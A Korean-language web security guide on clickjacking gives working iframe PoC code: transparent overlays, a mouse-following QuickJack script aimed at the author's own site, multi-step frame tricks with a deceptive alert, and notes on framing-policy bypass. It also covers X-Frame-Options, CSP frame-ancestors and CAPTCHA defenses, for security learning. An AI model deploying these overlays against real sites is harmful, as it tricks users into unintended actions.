Click Jacking

Introduction

ClickJacking은 frame 등의 환경에서 User Interaction을 유도하여 사용자가 인지하지 못한 상태에서 중요 기능을 수행시키도록 하는 공격 기법을 의미합니다. 기본적으론 피싱과 같이 User Interaction이 필요하지만, Frame 내 포인틴, 투명 레이어 등 CSS 단 처리로 이를 쉽게 인지하지 못하도록 구성하여 상대적으로 성공 가능성이 높습니다.

Offensive techniques

Detect

ClickJacking은 frame 기반의 공격이기 때문에 X-Frame-Options, CSP 등으로 보호받지 않는 페이지는 모두 영향을 받습니다. 다만 ClickJacking에는 이를 성공하기 위한 조건들(중요한 기능이 보호받지 못하는 경우 등)이 필요하기 때문에 아래 스텝으로 체크하는 방법이 편리합니다.

1) 서비스 내 중요기능 식별 2) 해당 기능의 User Interaction 체크 2) X-Frame-Options, CSP 등으로 보호받지 않는 페이지인지 체크

<iframe src="target_site"></iframe>

Exploitation

일반적으로 iframe을 통해 PoC 코드를 구성하곤 합니다.

<iframe src="target_site"></iframe>

이 때 iframe의 style에서 position, left, right, top, bottom, width, height 등을 이용하여 원하는 위치에 마우스 포인팅을 맞출 수 있습니다.

left:-91px;
top:-320px;
position:absolute;
filter:alpha(opacity=0);
z-index:1;
opacity:0;
overflow:hidden;
width:1485px;
height:836px;

다만 이를 직접 계산하기에는 좀 불편하기 때문에 보통 QuickJack 같은 도구를 이용하여 포인팅이 구성된 ClickJacking PoC를 만들 수 있습니다.

<style>body{margin:0px;padding:0px;}</style>
<div style="overflow:hidden;width:1px;height:1px;position:relative;" id=v>
    <iframe id="cksl7" name="cksl7" src="https://www.hahwul.com" style="border:0px;left:-108px;top:-357px;position:absolute;filter:alpha(opacity=0);z-index:1;opacity:0;overflow:hidden;width:1281px;height:604px;"></iframe>
</div>
<script>var d=document;if(!d.all)d.captureEvents(Event.MOUSEMOVE);d.onmousemove=function(e){var i=d.getElementById("v").style;i.left=d.all?event.clientX+d.body.scrollLeft:e.pageX;i.top=d.all?event.clientY+d.body.scrollTop:e.pageY;};</script>
<script src="https://code.jquery.com/jquery-2.1.3.min.js"></script>
<script>$(function(){var i=-1;$("#cksl7").hover(function(){i=$(this).closest("#v").attr("qjid");},function(){i=-1;});$(window).focus();$(window).blur(function(){document.getElementById("v").style.visibility="hidden";});});$(window).focus()</script>

https://www.hahwul.com 내 Cullinan 버튼에 포인팅한 PoC

NStep - Multiple frame

2 Step 이상의 Click Jacking을 위해선 여러 iframe과 적절하게 꾸밀 수 있는 CSS 트릭이 필요합니다. 여러 iframe을 각각 step에 맞는 페이지를 로드한 후 CSS로 위장한 페이지에서 클릭을 유도하면 됩니다.

<style>
	.split{
		width: 50%;
		height: 100%;
	}
</style>

<iframe class="split" src="target/step1.page"></iframe>
<iframe class="split" src="target/step2.page"></iframe>

NStep - Event Handler

<script>
	function fire(){
		frm.src="target/step2.page"
		alert("실패하였습니다. 페이지를 한번 더 눌러주세요.")
	}
	frm.addEventListener('click', function(event) {
		fire()
	}, false);
</script>

<iframe id="frm" src="target/step1.page"></iframe>

Bypass protection

Bypass policy

X-Frame-Options, CSP 등으로 보호받고 있다고 하더라도, 이 헤더들의 정책에 따라서 frame 허용이 가능한 경우가 발생할 수 있습니다. 정책을 잘 체크하고 허용된 도메인 등을 확인하여 공격 성공을 유도할 수 있습니다.

Multiple-Step ClickJacking

간혹 User Interaction이 고려된 중요 기능들이 있는 경우 단순 클릭으로 ClickJacking이 어려운 경우도 존재합니다. 다만 이후 액션들이 충분히 클릭, 텍스트 입력 등 유도가 가능한 케이스라면, ClickJacking의 코드단에서 게임과 같은 페이지를 구성하여 사용자의 액션을 유도할 수 있습니다.

(실제로 해커원에서 주사위 게임 PoC가 있었습니다)

Defensive techniques

X-Frame-Options

X-Frame-Options은 HTTP Response Header로 iframe, frame, object 태그를 이용한 렌더링에 대한 정책 헤더입니다. 이를 통해서 의도하지 않은 frame을 막을 수 있어 ClickJacking 공격에 효과적으로 대응할 수 있습니다.

X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
Policy Description
deny 어떠한 사이트에서도 frame 상에서 보여질 수 없습니다.
sameorigin 동일한 사이트(Same-Origin)의 frame에서만 보여집니다.
allow-from uri 지정된 특정 uri의 frame 에서만 보여집니다.

User Interaction

X-Frame-Options 헤더 적용이 어려운 경우, 중요 기능에 대해서 User Interaction을 추가하는 형태로 공격을 예방할 수 있습니다. 단순 클릭 등을 이용한 확인은 쉽게 우회할 수 있는 여지가 있기 때문에 Captcha와 같이 조금 더 강도가 있는 User Interaction 적용으로 통해 ClickJacking을 방어할 수 있습니다.

CSP

CSP(Content-Secuirty-Policy) 헤더를 통해서도 방어할 수 있습니다. frame-ancestors를 통해 frame를 허용할 범위를 지정하여 무분별한 frame을 차단할 수 있습니다.

Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors normal-website.com;

Tools

Articles

  • https://www.hahwul.com/2017/07/07/web-hacking-easily-trigger-event/

References